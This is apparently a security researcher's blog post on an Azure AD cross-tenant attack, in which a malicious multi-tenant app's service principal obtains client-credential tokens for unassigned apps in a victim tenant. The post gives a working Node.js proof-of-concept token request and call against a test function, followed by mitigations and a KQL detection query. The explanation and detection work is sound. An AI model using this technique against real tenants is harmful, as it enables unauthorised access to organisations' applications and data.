Azure AD Cross-tenant attacks via multi-tenant implants (servicePrincipals)

I decided to do short write-up since I’ve been getting lot of questions about this attack type originally discovered by Joonas Westlin.

Click this link for full version
  • The title uses term ’implants’, to convey more malicious purposes that would normally be assumed by a multi-tenant garden variety business application

Premise of the attack

Any Service Principal registered in your tenant, in this case enterprise applications created after an user / or admin registers multi-tenant app in your tenant, are permitted to get access tokens for any app in your tenant not requiring user assignment ¹

¹ In my general experience 9 out of 10 Azure AD Oauth2 applications do not require user assignment.

Good quote from Jonas’s blog

But what if we did have an identity in the target tenant? If we could somehow trick a user in the organization to consent to our app, could we do the attack as before? Yes, we could. As long as a service principal for your app exists in the target tenant, you can acquire an access token for any API in that tenant. Joonas Westlin

This is not an consent attack (this is more)

While my example relies on admin or user consenting to new app. This attack applies to any existing multi-tenant app in your tenant, which is owned by malicious party, or has been victim to supply-chain-compromise (check any large tenant, there might be thousands of these there, how often you check if they are requesting tokens for themselves while only having user permissions?)

  1. The attacker requests, any user in the tenant able to consent to app approves these lowly permissions (permissions here is not what the attacker is after)

Reproducing the attack


  1. Attacking tenant
  2. Victim tenant

Create the attacking app

In victim tenant consent the application


In the victim tenant create Azure Function with Azure AD authentication

  • This is the app the attacker will attack, since by default Azure Functions do not require user assignment.

You can use following tutorial to create basic function with HTTP trigger, and Azure AD authentication

  • I added following HTTP trigger to echo back the identity of the attacker for demonstrative purposes
module.exports = async function (context, req) {
let whoami 

try {
    whoami = Buffer.from(req.headers['x-ms-client-principal'],'base64').toString('ascii')
} catch (error) {
    console.log('no AT header present')

    context.res = {
        // status: 200, /* Defaults to 200 */
        body: whoami || "unable to decode client-principal"

Attacking tenant

Generate client credentials for the application

Choose your preferred method of getting tokens for the victim tenant

  • I am requesting tokens with client credentials on another tenant, to get access to the function I just created in the victim tenant
const {
} = require("./src/axioshelpers")


async function main() {

    let victimAppId = "88d71403-fef6-4676-8fcf-1f4ca1d6dda8"
    let victimTenant = "033794f5-7c9d-4e98-923d-7b49114b7ac3"
    let victimappUri = "https://fn-starterkit-6301.azurewebsites.net/api/whoami"

    let opt = {
        url: `https://login.microsoftonline.com/${victimTenant}/oauth2/v2.0/token`,
        data: {
            grant_type: "client_credentials",
            client_id: "e1b68ef2-28c8-4324-8548-f506c3b5bd45",
            client_secret: require('./cred.json').p,
            scope: `api://${victimAppId}/.default`


    var {
        data: cred
    } = await axiosClient(opt, true).catch(error => console.log(error?.response))

    var {data:r} = await axiosClient({
        url: victimappUri,
        headers: {
            authorization: `Bearer ${cred['access_token']}`
    }).catch(error => console.log(error?.response))

  • Upon successful response I get echoed back my identity


  1. Check claims beyond issuer and audience values (joonasw has excellent blog on this)
  2. Use always user assignment in your own apps when possible (this gives you defence in depth as Azure AD will check that the object actually is assigned role for the app)
    • // This cool mitigation was originally proposed by Johan Lindroos whom I had chat about this scenario in 2021
  3. Check logs for any multitenant apps only granted for user permissions requesting tokens for themselves (and not on-behalf of users) this is huge red-flag
Only user permissions (using this tool)
Same app requesting tokens for itself (MAJOR RED FLAG!)

Detection KQL

run https://github.com/jsa2/CloudShellAadApps#running-the-tool

  • To runtime kql append the following
//Append this part to final
| where isempty( set_RolescombinedAssignment)
| join AADServicePrincipalSignInLogs on $left.clientDisplay == $right.ServicePrincipalName
| summarize make_set(CorrelationId, 5) by clientDisplay, ResourceDisplayName, AppType
  • Example of full Query below (this one does not work as is, it requires, you generate runtime.kql as per guide on the tool and append the extra part for detection to the final | )
let home="033794f5-7c9d-4e98-923d-7b49114b7ac3"; 
let admins = (externaldata (id: string, displayName: string, appId: string, role: string)[@"yourstorageadmins.json"] with (format="multijson"));
let doNotRemove = (externaldata (test: string)[@"yourstoragedoNotRemove.json"] with (format="multijson"));
let oauth2PermissionGrantsUP = (externaldata (clientId: string, consentType: string, id: string, principalId: string, resourceId: string, scope: string, userPrincipalName: string, resourceDisplayName: string)[@"yourstorageoauth2PermissionGrantsUP.json"] with (format="multijson"));
let rolesUP = (externaldata (id: string, deletedDateTime: dynamic, appRoleId: string, createdDateTime: string, principalDisplayName: string, principalId: string, principalType: string, resourceDisplayName: string, resourceId: string, appOwnerOrganizationId: string, assignedRole: string)[@"yourstoragerolesUP.json"] with (format="multijson"));
let servicePrincipalsUP = (externaldata (id: string, deletedDateTime: dynamic, accountEnabled: string, alternativeNames: dynamic, appDisplayName: string, appDescription: dynamic, appId: string, applicationTemplateId: dynamic, appOwnerOrganizationId: string, appRoleAssignmentRequired: string, createdDateTime: string, description: dynamic, disabledByMicrosoftStatus: dynamic, displayName: string, homepage: dynamic, loginUrl: dynamic, logoutUrl: dynamic, notes: dynamic, notificationEmailAddresses: dynamic, preferredSingleSignOnMode: dynamic, preferredTokenSigningKeyThumbprint: dynamic, replyUrls: dynamic, servicePrincipalNames: dynamic, servicePrincipalType: string, signInAudience: string, tags: dynamic, tokenEncryptionKeyId: dynamic, samlSingleSignOnSettings: dynamic, verifiedPublisher: dynamic, addIns: dynamic, info: dynamic, keyCredentials: dynamic, passwordCredentials: dynamic, resourceSpecificApplicationPermissions: dynamic, owners: dynamic, ApplicationHasPassword: dynamic, ApplicationHasPublicClient: string, danglingRedirect: dynamic)[@"yourstorageservicePrincipalsUP.json"] with (format="multijson"));
 // ///////
let pwInfo= servicePrincipalsUP
| mv-expand ApplicationHasPassword
|   mv-apply ApplicationHasPassword.endDateTime on   (
    extend when =(datetime_diff('day',todatetime(ApplicationHasPassword_endDateTime),now()))
    | extend HasExpiringPassword = when < 30
    | extend info = ApplicationHasPassword_endDateTime
| extend expiredOrExpiringPW =strcat(HasExpiringPassword, ':', when)
| summarize make_set(expiredOrExpiringPW) by appDisplayName, appId, ApplicationHasPublicClient;
let mstenant =  split("72f988bf-86f1-41af-91ab-2d7cd011db47,0d2db716-b331-4d7b-aa37-7f1ac9d35dae,f52f6d19-877e-4eaf-87da-9da27954c544,f8cdef31-a31e-4b4a-93e4-5f571e91255a",",");
let roles=rolesUP
| join kind=inner  (servicePrincipalsUP | project spnId =['id'], resourceOrg = appOwnerOrganizationId)  on $left.resourceId == $right.spnId
| extend Principal = principalDisplayName
| extend assigment = strcat(assignedRole)
| extend assigmentId = ['id']
| extend clientDisplay = iff(principalType == "ServicePrincipal",Principal, resourceDisplayName)
| extend assigmentL = parse_json(assignedRole)
| mv-expand assigmentL
| where isnotempty(assigmentL.value)
| extend assigment = tostring(assigmentL.value)
| extend assigmentId = ['id']
| extend clientMatch = iff(principalType contains "Group" or principalType contains "User", resourceId, principalId)
| join kind=inner (servicePrincipalsUP | project ['id'], homeOrganization=appOwnerOrganizationId, owners, appRoleAssignmentRequired) on $left.clientMatch == $right.['id']
| extend AppType = case(mstenant contains homeOrganization and isnotempty( homeOrganization), 'Native MS', homeOrganization == home, "SingleTenant", isempty(homeOrganization), "managedIdentity", "MultiTenant")
| extend RolescombinedAssignment = strcat(clientMatch, resourceDisplayName,' : permissions - ', principalType, ':Principal:', Principal,'-',assigment, ' - ', assigmentId)
| summarize make_set(RolescombinedAssignment) by clientDisplay, resourceOrg, AppType, tostring(owners), appRoleAssignmentRequired
| extend hasWritePermissions = iff(set_RolescombinedAssignment contains "write", "True", "False");
let fullUsers =oauth2PermissionGrantsUP
| join kind=inner  servicePrincipalsUP on $left.clientId == $right.['id']
| extend Principal = iff(isempty( principalId), consentType, userPrincipalName)
| extend AppType = case(mstenant contains appOwnerOrganizationId, 'Native MS', appOwnerOrganizationId == home, "SingleTenant", "MultiTenant")
| extend assigment = scope
| extend principalId = iff(isempty( principalId), clientId, principalId)
| extend UsersCombinedAssignment = strcat(clientId, '-'  ,Principal, '-', resourceDisplayName, ' : permissions - ', assigment, ' - ',['id'])
| summarize make_set(UsersCombinedAssignment) by clientDisplay = displayName, AppType, tostring(owners), appOwnerOrganizationId, servicePrincipalType, appRoleAssignmentRequired, tostring(danglingRedirect)
| extend UserAdminGrant = iff(set_UsersCombinedAssignment contains "AllPrincipals", "True", "False")
| extend hasWritePermissions = iff(set_UsersCombinedAssignment contains "write", "True", "False")
| project-away servicePrincipalType;
let replies =oauth2PermissionGrantsUP
| join kind=inner  servicePrincipalsUP on $left.clientId == $right.['id']
| extend replyUrl = strcat(clientId, '-', replyUrls)
| summarize make_set(replyUrl) by clientDisplay = displayName;
let users = replies
| join kind=inner ['fullUsers'] on clientDisplay;
let full = ['roles'] 
| join kind=fullouter ['users'] on clientDisplay
| where isnotempty( clientDisplay);
//ensure user permissions that were not matched are on the same table
let missed = ['users'] 
| join kind=leftanti  ['full'] on clientDisplay;
let f= union missed, full
| extend appRegOwners = owners
| project-away AppType1, clientDisplay1, hasWritePermissions1, appOwnerOrganizationId, owners, appRoleAssignmentRequired1, owners1
| join kind=fullouter  pwInfo on $left.clientDisplay == $right.appDisplayName
| project-away appDisplayName
| where isnotempty( clientDisplay);
let final = f
| join kind=fullouter  (['admins']  |project aadAdminRole=role, displayName
| summarize make_set(aadAdminRole) by displayName )  on  $left.clientDisplay ==  $right.displayName
| where isnotempty( clientDisplay)
| extend warningAppPriv =iff(AppType == "MultiTenant" and isnotempty( set_RolescombinedAssignment), "true","false");
//this one invokes the basequery
| where isempty( set_RolescombinedAssignment)
| join AADServicePrincipalSignInLogs on $left.clientDisplay == $right.ServicePrincipalName
| summarize make_set(CorrelationId, 5) by clientDisplay, ResourceDisplayName, AppType

End of post

This is one of the coolest attacks I know, not really requiring a much effort

0 comments on “Azure AD Cross-tenant attacks via multi-tenant implants (servicePrincipals)


Täytä tietosi alle tai klikkaa kuvaketta kirjautuaksesi sisään:


Olet kommentoimassa WordPress.com -tilin nimissä. Log Out /  Muuta )


Olet kommentoimassa Twitter -tilin nimissä. Log Out /  Muuta )


Olet kommentoimassa Facebook -tilin nimissä. Log Out /  Muuta )

Muodostetaan yhteyttä palveluun %s

%d bloggaajaa tykkää tästä: